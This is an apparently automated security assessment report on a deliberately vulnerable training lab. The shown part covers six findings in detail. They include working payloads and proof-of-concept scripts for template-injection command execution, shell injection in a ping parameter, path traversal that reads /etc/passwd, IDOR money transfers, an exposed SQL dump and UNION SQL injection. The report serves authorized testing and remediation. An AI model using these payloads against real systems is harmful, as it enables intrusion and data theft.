AUTOMATED WEB VULNERABILITY ASSESSMENT

Security assessment report

14 verified findings

VulnLab

SCOPE	TESTING METHOD / SCAN PROFILE
VulnLab	Blackbox / Quick
REPORT SAVED	**PDF EXPORTED**
20 Oct 2026, 13:44 UTC	20 Oct 2026, 13:45 UTC

Verified findings from this Run's saved assessment, including accepted findings carried forward from its Hermes continuation. Each download captures the report version saved at the time shown above.

Contents

Report sections and individual findings are linked for quick navigation.

1. Assessment summary 3

2. Scope and assessment limits 4

3. Verified findings 5

F-001. Unauthenticated server-side template injection permits OS command execution in blog content . . . 7

F-002. Client-controlled sender_id permits unauthorized money transfers . . . 11

F-003. Unauthenticated OS command injection in the ping `ip` parameter . . . 15

F-004. Unauthenticated Path Traversal Discloses /etc/passwd via productId . . . 19

F-005. Unauthenticated SQL backup exposes populated user credential and personal-data records . . . 23

F-006. Unauthenticated UNION-Based SQL Injection in the Search Parameter . . . 27

F-007. Boolean-based blind SQL injection in the stock search parameter . . . 31

F-008. Reflected cross-site scripting through the q parameter . . . 35

F-009. Reflected XSS in the `height` Parameter Through Inline JavaScript Injection . . . 39

F-010. Reflected XSS through the `img` query parameter in Our Gallery . . . 43

F-011. SQL injection in administrator login bypasses authentication . . . 47

F-012. SQL injection in administrator login username allows authentication bypass . . . 52

F-013. Unauthenticated IDOR lets callers target another user in the password-change operation . . . 57

F-014. Unauthenticated Admin Dashboard HTML Disclosed in 302 Redirect Response . . . 61

4. Report reference 65

5. AI-assisted assessment and human review 66

1. Assessment summary

Verified assessment results

14 verified findings for VulnLab.
Findings are grouped below by their recorded severity.

Severity	Findings	Share of findings
Critical	1	
High	5	
Medium	7	
Low	1	

Remediation priorities

Review the highest-severity findings first, confirm their impact in your application, and apply the recorded remediation. Findings are ordered by recorded severity; no new risk scores are inferred in this report.

Counts use unique Finding records accepted by Hunt-Web's verifier. Additional evidence for an existing Finding does not create a new Finding. Pending or rejected proofs are excluded.

2. Scope and assessment limits

SCOPE VulnLab	**TESTING METHOD** Blackbox
SCAN PROFILE Quick	**ACCOUNTS** Without account login
TIME LIMIT PER ACTIVATION 10 minutes	**SCAN CREATED** 20 Oct 2026, 13:34 UTC
STATUS AT SNAPSHOT Time limit reached	**REPORT SAVED** 20 Oct 2026, 13:44 UTC

Authorized application addresses

http://lab-hw.my.id:1337/

Assessment context

Assessment incomplete. This report presents verified findings from the saved assessment within the Scope and time limit above. It does not establish complete coverage or application safety. Private values and raw request/response bodies are omitted from this export.

3. Verified findings

14 verified findings in this snapshot. Select a reference to open its detail in this PDF.

Reference	Finding	Severity
F-001	Unauthenticated server-side template injection permits OS command execution in blog content	**Critical**
F-002	Client-controlled sender_id permits unauthorized money transfers	**High**
F-003	Unauthenticated OS command injection in the ping `ip` parameter	**High**
F-004	Unauthenticated Path Traversal Discloses /etc/passwd via productId	**High**
F-005	Unauthenticated SQL backup exposes populated user credential and personal-data records	**High**
F-006	Unauthenticated UNION-Based SQL Injection in the Search Parameter	**High**
F-007	Boolean-based blind SQL injection in the stock search parameter	**Medium**
F-008	Reflected cross-site scripting through the q parameter	**Medium**
F-009	Reflected XSS in the `height` Parameter Through Inline JavaScript Injection	**Medium**
F-010	Reflected XSS through the `img` query parameter in Our Gallery	**Medium**
F-011	SQL injection in administrator login bypasses authentication	**Medium**
F-012	SQL injection in administrator login username allows authentication bypass	**Medium**
F-013	Unauthenticated IDOR lets callers target another user in the password-change operation	**Medium**

Reference	Finding	Severity
F-014	Unauthenticated Admin Dashboard HTML Disclosed in 302 Redirect Response	**Low**

F-001. Unauthenticated server-side template injection permits OS command execution in blog content

Critical Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/ssti/SSTI-Basic/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
POST	Not recorded	Exploited
RECORDED CATEGORY	**CWE**	**CVSS**
Server-side-template-injection-leading-to-remote-code-execution	CWE-1336	9.8

Description | F-001

The POST endpoint /lab/ssti/SSTI-Basic/ treats the attacker-controlled content form field as server-side template source. An unauthenticated user can supply a Twig-style expression that reaches the system filter and executes an operating-system command. A fresh verifier test executed a harmless printf command and observed its unique output in the rendered blog entry. A matched input without {{...}} delimiters was displayed literally, showing that the result was caused by template evaluation rather than ordinary reflection.

Prerequisites | F-001

An attacker only needs network access to the endpoint; the reproduced requests used the anonymous identity and no cookies or authorization headers.

Impact | F-001

A remote unauthenticated attacker can execute operating-system commands with the privileges of the web application process. In a real deployment, this could permit reading or modifying data available to that process, altering application behavior, or disrupting service. The verifier did not characterize the process account or its concrete access, so root access and broader host compromise are not asserted.

Technical analysis | F-001

The vulnerable request is POST /lab/ssti/SSTI-Basic/ with application/x-www-form-urlencoded fields content and submit. The positive content value was V85_EXEC_BEGIN_91427_{{['printf V85_CMD_EXECUTED_91427']|filter('system')}}_V85_EXEC_END_91427. The HTTP 200 response rendered V85_EXEC_BEGIN_91427_V85_CMD_EXECUTED_91427Array_V85_EXEC_END_91427. The disappearance of the template expression and appearance of the unique printf output demonstrates that the server evaluated the expression and invoked system. For comparison, the no-delimiter value V85_CTRL_BEGIN_91427_['printf V85_SHOULD_NOT_EXEC_91427']|filter('system')_END was returned unchanged in a separate HTTP 200 response. The only mechanism-relevant change was the addition of template delimiters, which distinguishes template-driven command execution from simple input reflection.

Evidence | F-001

A fresh command payload returned HTTP 200 with V85_CMD_EXECUTED_91427 inserted between verifier-selected boundary strings and with the template expression removed. A matched no-delimiter control was rendered literally and did not independently execute its embedded printf text.

Reproduction steps | F-001

1. Without authentication, send POST /lab/ssti/SSTI-Basic/ with content=V85_CTRL_BEGIN_91427_['printf V85_SHOULD_NOT_EXEC_91427']|filter('system')_END and submit=Submit. Expect HTTP 200 and the complete control string rendered literally.
2. Send another anonymous POST to the same endpoint with content=V85_EXEC_BEGIN_91427_{{['printf V85_CMD_EXECUTED_91427']|filter('system')}}_V85_EXEC_END_91427 and submit=Submit.
3. Expect HTTP 200 and a rendered entry containing V85_EXEC_BEGIN_91427_V85_CMD_EXECUTED_91427Array_V85_EXEC_END_91427. The unique command-output text appears while the template syntax disappears, demonstrating server-side evaluation and command execution.

Verification and comparison | F-001

Fresh anonymous POST requests reproduced server-side template injection with command execution at /lab/ssti/SSTI-Basic/. The control submitted the filter expression without template delimiters and the application rendered the full string literally. The positive request added only Twig-style {{...}} delimiters around ['printf V85_CMD_EXECUTED_91427']|filter('system'); the response instead rendered V85_EXEC_BEGIN_91427_V85_CMD_EXECUTED_91427Array_V85_EXEC_END_91427, proving that the template expression was evaluated and that server-side printf output was inserted into

Verification and comparison | F-001 (continued)

the page. This establishes unauthenticated OS command execution in the web application's process context. The verifier did not test the process identity, filesystem access, persistence, or lateral movement, so those consequences are not claimed.

Proof of concept | F-001

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
import requests


url = "http://lab-hw.my.id:1337/lab/ssti/%7Bid%7D/"


control_value = (
    "V85_CTRL_BEGIN_91427_"
    "['printf V85_SHOULD_NOT_EXEC_91427']|filter('system')"
    "_END"
)
control = requests.post(
    url,
    data={"content": control_value, "submit": "Submit"},
    timeout=10,
)
control.raise_for_status()
assert control_value in control.text

payload = (
    "V85_EXEC_BEGIN_91427_"
    "{{['printf V85_CMD_EXECUTED_91427']|filter('system')}}"
    "_V85_EXEC_END_91427"
)
expected = (
    "V85_EXEC_BEGIN_91427_"
    "V85_CMD_EXECUTED_91427Array"
    "_V85_EXEC_END_91427"
)
response = requests.post(
    url,
    data={"content": payload, "submit": "Submit"},
    timeout=10,
```

Proof of concept | F-001 (continued)

```
)
response.raise_for_status()
assert expected in response.text
print("Unauthenticated server-side command execution reproduced")
```

Verification limits | F-001

Only a harmless printf command was executed.
The operating-system user, filesystem permissions, network reachability, persistence options, and access to application secrets were not tested.
The response included the text Array after command output, but this does not affect proof of command execution.

Impact not established | F-001

No claim is made that the command runs as root or another specific operating-system account. No claim is made about database compromise, lateral movement, persistence, or the exact confidentiality, integrity, and availability impact on this deployment.

Evidence references | F-001

E1: outcome-a8a6237fe9934c9ea05544b49e4a86b5
E2: outcome-fef04bface604daca684946ea1dc6484

Recommended remediation | F-001

Never compile or render untrusted blog content as a template. Treat content as data and apply context-appropriate output encoding when placing it in HTML. Remove access to dangerous template functions and filters such as system, exec, shell_exec, passthru, and dynamic callable filters. If template customization is required, use a strict sandbox with an explicit allowlist of harmless tags, filters, and functions, and ensure user-controlled strings are passed only as template variables. Run the web service under a minimally privileged account, restrict filesystem and outbound-network access, and add regression tests confirming that {{...}} input is displayed as text and cannot invoke functions.

Finding reference: finding-507fc2c541544a20b69c38a66369b23a

F-002. Client-controlled sender_id permits unauthorized money transfers

High Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/idor/money-transfer/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
POST	sender_id	Exploited
RECORDED CATEGORY	**CWE**	**CVSS**
Insecure-direct-object-reference-idor-broken-object-level-authorization	CWE-639	7.5

Description | F-002

The money-transfer endpoint trusts the POST parameter sender_id to choose the account that is debited. The page presents the requester context as User 1 and normally emits sender_id=1 in a hidden field, but an unauthenticated requester can replace that value with another valid account ID. The server then performs the transfer against that account without verifying authorization.

Prerequisites | F-002

An unauthenticated attacker needs network access to the endpoint, a valid or guessable numeric sender account ID, a recipient account ID, and sufficient balance in the selected sender account.

Impact | F-002

An unauthenticated attacker who knows or guesses a valid account ID can cause that account's displayed balance to be transferred to another account. The verified test moved 7 units from User 2 to User 1. This is a high-integrity impact on account balances; no confidentiality impact or real-world monetary value was established.

Technical analysis | F-002

A fresh unauthenticated GET showed “Your account name: User 1,” a hidden input with sender_id=1, and balances of 1050 for User 1 and 950 for User 2. Posting transfer_amount=7, recipient_id=1, and tampered sender_id=2 returned a success alert and changed the balances to 1057 and 943 respectively. The exact +7/-7 change shows that sender_id selected the debit object. As a negative control, the same amount and recipient with sender_id=999 returned an insufficient-balance error and left the balances at 1057 and 943. This control shows the positive result was tied to selection of a valid source account, rather than merely reflecting an unconditional success response.

Evidence | F-002

With baseline balances User 1=1050 and User 2=950, an anonymous POST of transfer_amount=7, recipient_id=1, sender_id=2 succeeded and changed the displayed balances to User 1=1057 and User 2=943. The same request shape with sender_id=999 was rejected and caused no further balance change.

Reproduction steps | F-002

1. Send an unauthenticated GET request to http://lab-hw.my.id:1337/lab/idor/money-transfer/ and record the account table. In the verified run, the page identified User 1, included hidden sender_id=1, and showed User 1=1050 and User 2=950.
2. Without adding credentials or cookies, send a form-encoded POST to the same path with transfer_amount=7, recipient_id=1, and sender_id=2.
3. Follow the redirect. Expect the response to contain “The money transfer was successful!” and the account table to show User 1=1057 and User 2=943.
4. As a negative control, repeat with the same transfer_amount=7 and recipient_id=1 but set sender_id=999. Expect an error and no change from 1057/943.
5. Compare the requests: only sender_id changed between the successful valid-account selection and rejected nonexistent-account control. The successful +7/-7 state transition proves that the client-controlled parameter determines which account is debited.

Verification and comparison | F-002

Fresh anonymous requests reproduced the claimed mechanism. The initial GET returned no cookies, identified the active page context as “User 1,” exposed the normal hidden value sender_id=1, and showed balances User 1=1050 and User 2=950. An anonymous POST changing only the source account to sender_id=2 with transfer_amount=7 and recipient_id=1 produced “The money transfer was successful!” and immediately showed User 1=1057 and User 2=943, an exact +7/-7 state change. A matched negative request using the same amount and recipient but nonexistent sender_id=999 returned “You do not have enough balance in your account!” and left both balances unchanged. This proves that the server trusts the client-controlled sender_id to select which account is debited, without binding it to the displayed User 1 context or requiring authentication. The verified impact is unauthorized

Verification and comparison | F-002 (continued)

balance transfer from another valid account; confidentiality impact, overdrafts, other operations, and production monetary value were not tested.

Proof of concept | F-002

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
#!/bin/sh
set -eu
BASE='http://lab-hw.my.id:1337'
PATHNAME='/lab/idor/money-transfer/'

# Anonymous baseline: record the displayed account context and balances.
curl -sS "$BASE$PATHNAME"

# Positive test: tamper with the normal sender_id=1 and debit account 2.
curl -sS -L "$BASE$PATHNAME" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'transfer_amount=7&recipient_id=1&sender_id=2'

# Negative control: a nonexistent source account must not change balances.
curl -sS -L "$BASE$PATHNAME" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'transfer_amount=7&recipient_id=1&sender_id=999'
```

Verification limits | F-002

The endpoint is an authorized training lab with shared mutable state; the test proves the displayed account-state change but not real-world monetary loss.
No separate authenticated account principals were available in this flow. The ownership distinction is bounded to the page identifying the requester context as User 1, the normal hidden sender_id=1, and User 2 being a separate account row.
Only a 7-unit transfer from account 2 to account 1 was tested.

Impact not established | F-002

No confidentiality impact was demonstrated.
Overdrafts, transfers involving every account, persistence beyond the displayed backend state,

Impact not established | F-002 (continued)

and production financial consequences were not tested.
No broader authorization bypass outside this transfer endpoint was tested.

Evidence references | F-002

E1: outcome-8bcb52d47d3b4ab3adc1ab7b21316b09
E2: outcome-5a32fca2a5ca4045a0c7540d5632c8db
E3: outcome-403f4f6aab8c471895f9d08305b98f0a

Recommended remediation | F-002

Do not accept the source account as an authoritative client parameter. Require authentication, derive the sender account from the server-side authenticated session, and perform an explicit authorization check before every transfer. Execute the authorization check, balance validation, debit, and credit atomically in a database transaction. Reject requests for source accounts the principal does not own, use non-enumerable public identifiers only as defense in depth, and add tests verifying that anonymous and cross-account sender IDs cannot modify balances.

Finding reference: finding-0a283a2e52504209a39cc7e2d223dc92

F-003. Unauthenticated OS command injection in the ping `ip` parameter

High Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/command-injection/ping-low/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
POST	Not recorded	Exploited
RECORDED CATEGORY	**CWE**	**CVSS**
Command-injection	CWE-78	Not recorded

Description | F-003

The ping function at `POST /lab/command-injection/ping-low/` passes the form parameter `ip` through a command shell without safely constraining it to an IP address. An unauthenticated requester can use shell syntax in this parameter to append an operating-system command. In the verified test, appending `;printf VFYc91a7e` caused the server to execute `printf` and return its output after the normal ping results.

Prerequisites | F-003

Network access to the endpoint is sufficient. No account, session cookie, user interaction, or prior authorization was used in the reproduction.

Impact | F-003

An unauthenticated remote attacker can execute shell commands with the privileges of the web application process. The verification establishes the command-execution primitive itself. The web process's privileges and access to files or other resources were not assessed, so root access, sensitive-data disclosure, persistence, and broader host compromise are not asserted.

Technical analysis | F-003

Three fresh anonymous POST requests were compared. The baseline `ip=127.0.0.1` produced only normal ping output. The positive input `ip=127.0.0.1;printf VFYc91a7e` produced the same ping output followed by `VFYc91a7e`, consistent with a shell interpreting the semicolon

Technical analysis | F-003 (continued)

and invoking a second command. A matched control, `ip=127.0.0.1;#printf VFYc91a7e`, included the same marker in the submitted value but made the appended text a shell comment; its response contained normal ping output and no marker. This matched control rules out generic reflection of the submitted parameter and ties the positive marker to execution of the appended `printf` command.

Evidence | F-003

Submitting `ip=127.0.0.1;printf VFYc91a7e` returned normal ping statistics followed by `VFYc91a7e`. The marker was absent from both `ip=127.0.0.1` and the matched non-executing input `ip=127.0.0.1;#printf VFYc91a7e`.

Reproduction steps | F-003

1. Send an unauthenticated form-encoded POST request to `http://lab-hw.my.id:1337/lab/command-injection/ping-low/` with `ip=127.0.0.1`. Confirm the response contains ping statistics but not `VFYc91a7e`.
2. Send the same request with the decoded form value `ip=127.0.0.1;printf VFYc91a7e`. Confirm the response contains `VFYc91a7e` after the ping statistics.
3. Send a matched non-executing control with the decoded value `ip=127.0.0.1;#printf VFYc91a7e`. Confirm that the response again contains ping statistics but not the marker.
4. The marker appearing only when `printf` is executable demonstrates that shell metacharacters in `ip` permit an appended OS command; it is not merely reflected input.

Verification and comparison | F-003

Fresh unauthenticated reproduction confirms OS command injection in the POST form parameter `ip`. The normal value `127.0.0.1` returned only ping output, while changing it to `127.0.0.1;printf VFYc91a7e` caused the fresh marker `VFYc91a7e` to appear after the ping statistics. A matched metacharacter control, `127.0.0.1;#printf VFYc91a7e`, returned the same normal ping output without the marker, showing that the marker was produced only when the appended shell command was executable rather than through generic input reflection. This establishes unauthenticated execution of an attacker-supplied shell command under the web application's OS context. The process identity, accessible data, command privileges, persistence, and downstream compromise were not tested.

Proof of concept | F-003

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
import requests
```

Proof of concept | F-003 (continued)

```
url = "http://lab-hw.my.id:1337/lab/command-injection/ping-low/"
marker = "VFYc91a7e"

baseline = requests.post(url, data={"ip": "127.0.0.1"}, timeout=20)
positive = requests.post(url, data={"ip": f"127.0.0.1;printf {marker}"}, timeout=20)
comment_control = requests.post(
    url,
    data={"ip": f"127.0.0.1;#printf {marker}"},
    timeout=20,
)

baseline.raise_for_status()
positive.raise_for_status()
comment_control.raise_for_status()

assert marker not in baseline.text
assert marker in positive.text
assert marker not in comment_control.text
print("Confirmed: appended shell command output was returned only by the executable payload")
```

Verification limits | F-003

The verifier executed only the harmless `printf` command.
The OS account and privileges of the web process were not identified.
Filesystem access, sensitive-data access, persistence, lateral movement, and service disruption were not tested.

Impact not established | F-003

No claim of root-level execution, sensitive-data compromise, host takeover, persistence, or access to other systems is established by this reproduction.

Evidence references | F-003

E1: outcome-141c04faf6de468589b35a39aad418d6
E2: outcome-76ad2048be8a4b32999fb070c09facc3
E3: outcome-9cccf202b8db44dfac210e3daea7451d

Recommended remediation | F-003

Do not construct a shell command from `ip`. Invoke the ping executable through an API that passes arguments as an array and does not invoke a shell, for example an equivalent of `execve` or a language subprocess API with `shell=False`. Strictly parse the supplied value with a standard IP-address library and reject anything that is not a canonical IPv4 or IPv6 address. Apply least privilege to the web process and add tests that reject shell metacharacters such as `;`, `&`, `|`, backticks, `$()`, redirects, whitespace-based option injection, and newline characters. Shell escaping alone should not be the primary defense.

Finding reference: finding-a0669152491d4c61954acee7928c1669

F-004. Unauthenticated Path Traversal Discloses /etc/passwd via productId

High Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/path-traversal/path-traversal-2/product-detail.php

HTTP METHOD	PARAMETER	VERIFICATION METHOD
GET	Not recorded	Data extracted
RECORDED CATEGORY	**CWE**	**CVSS**
Path-traversal-local-file-disclosure	CWE-22	7.5

Description | F-004

The `productId` query parameter on `/lab/path-traversal/path-traversal-2/product-detail.php` accepts a nested traversal sequence that escapes the intended product-file location. An unauthenticated request using `....//` segments caused the application to read and return the server's `/etc/passwd` file. A matched benign value returned only normal product content, demonstrating that the disclosure was caused by the attacker-controlled path value rather than static page content.

Prerequisites | F-004

The attacker only needs network access to the public endpoint; no account, cookies, or other authentication material were used.

Impact | F-004

A remote unauthenticated attacker can disclose at least `/etc/passwd`, revealing operating-system account names, numeric identifiers, home directories, and configured shells. This is a confidentiality violation and may provide reconnaissance useful for follow-on attacks. This test did not establish access to passwords or application secrets, modification of files, or code execution.

Technical analysis | F-004

The endpoint appears to derive a server-side path from `productId`. With `productId=1.png`, it renders expected product content. With `productId=....//....//....//....//....//....//etc/passwd`, the response contains the actual populated account file inside a `<pre>` element. The nested `....//` syntax commonly survives incomplete removal of `../`: after one normalization or replacement pass, traversal components remain and resolve outside the intended directory. The response also reflects the supplied path in an image source, but the decisive evidence is the returned file contents, not reflection alone.

Evidence | F-004

Supplying `productId=....//....//....//....//....//....//etc/passwd` produced an HTTP 200 response containing populated `/etc/passwd` data, including `root:x:0:0:root:/root:/bin/bash`, while `productId=1.png` returned ordinary Robinson Crusoe product content.

Reproduction steps | F-004

1. Without authentication, send `GET http://lab-hw.my.id:1337/lab/path-traversal/%7Bid%7D/product-detail.php`.
2. Confirm the HTTP 200 response contains ordinary product text such as `Robinson Crusoe` and does not contain `/etc/passwd` account records.
3. Send `GET http://lab-hw.my.id:1337/lab/path-traversal/%7Bid%7D/product-detail.php`.
4. Confirm the HTTP 200 response now contains a populated account file beginning `root:x:0:0:root:/root:/bin/bash` and followed by additional entries such as `daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin`.
5. The requests differ only in `productId`; disclosure only for the traversal value demonstrates traversal-driven server-side file reading.

Verification and comparison | F-004

Fresh anonymous reproduction confirmed path traversal in the `productId` query parameter. The benign request with `productId=1.png` returned the expected Robinson Crusoe product content and did not disclose account-file data. Changing only that parameter to `....//....//....//....//....//....//etc/passwd` returned a populated copy of `/etc/passwd`, including `root:x:0:0:root:/root:/bin/bash` and multiple additional account records, in the HTTP response. This differential demonstrates server-side traversal and local-file disclosure without authentication. The verified impact is bounded to unauthenticated reading of `/etc/passwd`; access to other files, file modification, credential compromise, or code execution was not tested or established.

Proof of concept | F-004

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
import requests


base = "http://lab-hw.my.id:1337/lab/path-traversal/%7Bid%7D/product-detail.php"


# No authentication or private values are required.
control = requests.get(base, params={"productId": "1.png"}, timeout=10)
control.raise_for_status()
assert "Robinson Crusoe" in control.text
assert "root:x:0:0:root:/root:/bin/bash" not in control.text


payload = "....//....//....//....//....//....//etc/passwd"
probe = requests.get(base, params={"productId": payload}, timeout=10)
probe.raise_for_status()
assert "root:x:0:0:root:/root:/bin/bash" in probe.text
assert "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" in probe.text


print("Confirmed: traversal value disclosed populated /etc/passwd data")
```

Verification limits | F-004

Only disclosure of `/etc/passwd` was verified.
The readable filesystem scope and access to application secrets were not assessed.
No file write, authentication bypass, credential compromise, code execution, or service disruption was tested.

Impact not established | F-004

Arbitrary read access to every local file is not established by this reproduction.
Remote code execution, file modification, and compromise of credentials or user data are not established.

Evidence references | F-004

E1: outcome-a9a5751a8a5a47bda1c84ce440f58449
E2: outcome-e1e8237c3e484d9fa4c8eec73b888124

Recommended remediation | F-004

Do not construct filesystem paths directly from `productId`. Prefer an allowlisted mapping from opaque product identifiers to fixed server-side filenames. If filesystem access is unavoidable, canonicalize the candidate path once with a trusted path API, verify that the resulting path remains beneath a fixed permitted directory, reject absolute paths and all traversal components, and allow only expected filenames/extensions. Do not rely on string replacement of `../`, because nested forms such as `..../` can survive incomplete filtering. Run the application with least filesystem privilege and add regression tests for raw, URL-encoded, nested, and mixed-separator traversal payloads.

Finding reference: finding-cd53f78aa00348a8a504ac0d1af92018

F-005. Unauthenticated SQL backup exposes populated user credential and personal-data records

High Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/sql-injection/dump.sql

HTTP METHOD	PARAMETER	VERIFICATION METHOD
GET	Not recorded	Data extracted
RECORDED CATEGORY	**CWE**	**CVSS**
Information-disclosure	CWE-200	7.5

Description | F-005

The web server publicly serves a database backup at GET /lab/sql-injection/dump.sql. A request made without cookies or authorization returned the complete SQL file rather than an access-control response. The dump includes a users table and 15 populated records containing usernames, email addresses, plaintext-looking password values, names, and surnames. A randomized nonexistent .sql path in the same directory returned 404, confirming that the result is the exposed file rather than a generic response.

Prerequisites | F-005

The attacker only needs network access to the target and knowledge or discovery of the predictable dump.sql path; no account, session, or user interaction is required.

Impact | F-005

Any network client able to reach the site can download the exposed user dataset. This discloses credential-like values and personal information and may enable phishing, privacy harm, or account compromise if the passwords are current or reused. Credential validity and reuse were not tested, so actual account takeover is not claimed.

Technical analysis | F-005

Apache serves /lab/sql-injection/dump.sql as application/x-sql with HTTP 200 and Content-Length 3718. The response identifies itself as a phpMyAdmin SQL dump and contains CREATE TABLE/INSERT statements for users. The users schema includes username, email, password, name, and surname, and the INSERT is populated with 15 rows whose password values are present as readable strings rather than hashes. The verifier request used a fresh identity with no cookies. As a control, GET /lab/sql-injection/verifier-benign-control-7f3c9a.sql, also without authentication, returned Apache's 404 page and no SQL records. The differing results establish that a concrete backup file is publicly retrievable.

Evidence | F-005

An anonymous GET returned HTTP 200 and a 3,718-byte application/x-sql phpMyAdmin dump. The response contained the users table schema and a populated INSERT with 15 rows exposing usernames, email addresses, plaintext-looking password values, names, and surnames.

Reproduction steps | F-005

1. From a client with no authenticated session, send `GET http://lab-hw.my.id:1337/lab/sql-injection/dump.sql` without Cookie or Authorization headers.
2. Expect HTTP 200 with `Content-Type: application/x-sql` and a response beginning with a phpMyAdmin SQL dump header.
3. Inspect the response locally. Confirm that it defines the `users` table with `username`, `email`, `password`, `name`, and `surname` columns and includes a populated `INSERT INTO users` statement with 15 rows. Do not attempt to use any disclosed credential.
4. As a negative control, request `http://lab-hw.my.id:1337/lab/sql-injection/verifier-benign-control-7f3c9a.sql` anonymously. Expect HTTP 404 and a standard Apache error page without SQL records. This difference confirms that the first response is a real exposed file, not a catch-all page.

Verification and comparison | F-005

Fresh anonymous reproduction confirmed that GET /lab/sql-injection/dump.sql is a directly accessible static SQL backup: the server returned HTTP 200, Content-Type application/x-sql, and a 3,718-byte phpMyAdmin dump with a populated users INSERT containing 15 rows and the fields username, email, password, name, and surname. The verifier identity sent no cookies or authorization data. A matched anonymous request for a randomized nonexistent .sql filename in the same directory returned HTTP 404 with only the standard Apache error page, distinguishing the exposed file from a generic catch-all response. This proves unauthenticated disclosure of populated credential-like and personal-data records. It does not prove that the disclosed passwords currently authenticate, that the records describe real people, or that the data came from a production environment; none of those broader impacts were tested.

Proof of concept | F-005

Replace redacted values with your own authorized test values. This code is displayed for review, not executed.

```
#!/usr/bin/env bash
set -euo pipefail

BASE_URL='http://lab-hw.my.id:1337/lab/sql-injection'
DUMP_FILE="$(mktemp)"
CONTROL_FILE="$(mktemp)"
trap 'rm -f "$DUMP_FILE" "$CONTROL_FILE"' EXIT

# No Cookie or Authorization header is supplied.
dump_status="$(curl --silent --show-error \
  --output "$DUMP_FILE" --write-out '%{http_code}' \
  "$BASE_URL/dump.sql")"
control_status="$(curl --silent --show-error \
  --output "$CONTROL_FILE" --write-out '%{http_code}' \
  "$BASE_URL/verifier-benign-control-7f3c9a.sql")"

printf 'dump status: %s\ncontrol status: %s\n' "$dump_status" "$control_status"
test "$dump_status" = '200'
test "$control_status" = '404'

# Print only structural proof, not the disclosed row contents.
grep -n -E 'CREATE TABLE IF NOT EXISTS `users`|INSERT INTO `users`|`username` varchar|`email` v
archar|`password` varchar|`name` varchar|`surname` varchar' "$DUMP_FILE"

# The negative control must not contain the users INSERT marker.
if grep -q 'INSERT INTO `users`' "$CONTROL_FILE"; then
  echo 'Unexpected SQL marker in negative control' >&2
  exit 1
fi
```

Verification limits | F-005

No disclosed password was used to attempt authentication.
The test did not establish whether the records correspond to real people, are current, or originated from a production system.

Verification limits | F-005 (continued)

The test demonstrates read-only disclosure of this file; it does not demonstrate modification of the database or server.

Impact not established | F-005

Successful account takeover using any disclosed password.
Password reuse or compromise of services outside the authorized target.
Production-database origin or current validity of the disclosed records.

Evidence references | F-005

E1: outcome-81d15727458e4e0aade07b573d4fa871
E2: outcome-06d46d808f354205bb257384f37b4a0f

Recommended remediation | F-005

Remove database dumps and all backup artifacts from the web document root and deployment package. Rotate or invalidate any credentials contained in the exposed file after determining whether they are active, and assess notification obligations for exposed personal data. Configure the web server or reverse proxy to deny access to backup/database extensions such as .sql, disable directory listing where it is not required, and ensure deployment pipelines fail when database exports or secrets are present in public directories. Review access logs to determine the exposure window and whether the file was downloaded.

Finding reference: finding-265d88d781f54cba8be8b9cdea71b9e4

F-006. Unauthenticated UNION-Based SQL Injection in the Search Parameter

High Verified by Hunt-Web

Affected endpoint

http://lab-hw.my.id:1337/lab/sql-injection/find-password/

HTTP METHOD	PARAMETER	VERIFICATION METHOD
GET	search	Data extracted
RECORDED CATEGORY	**CWE**	**CVSS**
Sqli	CWE-89	7.5

Description | F-006

The `search` query parameter on `/lab/sql-injection/find-password/` is incorporated into a database query without safe parameterization. An unauthenticated client can close the intended SQL string, append a six-column `UNION SELECT`, and comment out the remainder. Database-evaluated expressions are then displayed as cells in the HTML results table.

Verification used a UNION row containing `DATABASE()` and `VERSION()`. The server returned the evaluated current database name and MariaDB version. A matched benign search string returned an empty table, showing that the markers were generated only after the SQL payload was supplied.

Prerequisites | F-006

The attacker needs only network access to the endpoint; the reproducing requests used the anonymous identity with no cookies or credentials.

Impact | F-006

An unauthenticated attacker can execute read-oriented SQL expressions through the search parameter and retrieve compatible query results in-band. The verified payload disclosed the current database name and exact database server version; its response also displayed the application's user IDs, usernames, email addresses, names, and surnames. Password retrieval, writes, filesystem access, command execution, and access to other databases were not tested and are not claimed.

Technical analysis | F-006

The vulnerable request is `GET /lab/sql-injection/find-password/?search=...`. The successful value was:

`' UNION SELECT 111,CONCAT('DBMARK:',DATABASE()),CONCAT('VERMARK:',VERSION()),'MARKNAME','MARKSURNAME','SIXTH'-- -`

The payload begins with a single quote to terminate the application's string context, supplies six values to match the original query's column count, and uses `-- -` to comment out the remaining SQL. MariaDB evaluated `DATABASE()` and `VERSION()`, and the application rendered their results in the injected row as `DBMARK:sql_injection` and `VERMARK:10.3.39-MariaDB-0ubuntu0.20.04.2`. In contrast, the unique non-SQL control `ZZZNORESULT_VERIFIER_8F29` produced an empty `<tbody>`. The controlled difference proves that the response values arose from server-side SQL execution rather than static page content or an ordinary search match.

Evidence | F-006

A UNION payload returned a synthetic row containing the current database name (`sql_injection`) and the full MariaDB version (`10.3.39-MariaDB-0ubuntu0.20.04.2`). The same response also rendered the application's existing user rows. A unique benign search returned an empty table.

Reproduction steps | F-006

1. Without authentication, send `GET http://lab-hw.my.id:1337/lab/sql-injection/find-password/`. Confirm the response is HTTP 200 and the result table body is empty.
2. Send another GET request to the same endpoint, changing only `search` to `' UNION SELECT 111,CONCAT('DBMARK:',DATABASE()),CONCAT('VERMARK:',VERSION()),'MARKNAME','MARKSURNAME','SIXTH'-- -` (URL-encode it when constructing the URL).
3. Confirm the response is HTTP 200 and includes a table row with ID `111`, Username `DBMARK:sql_injection`, and E-Mail `VERMARK:10.3.39-MariaDB-0ubuntu0.20.04.2`.
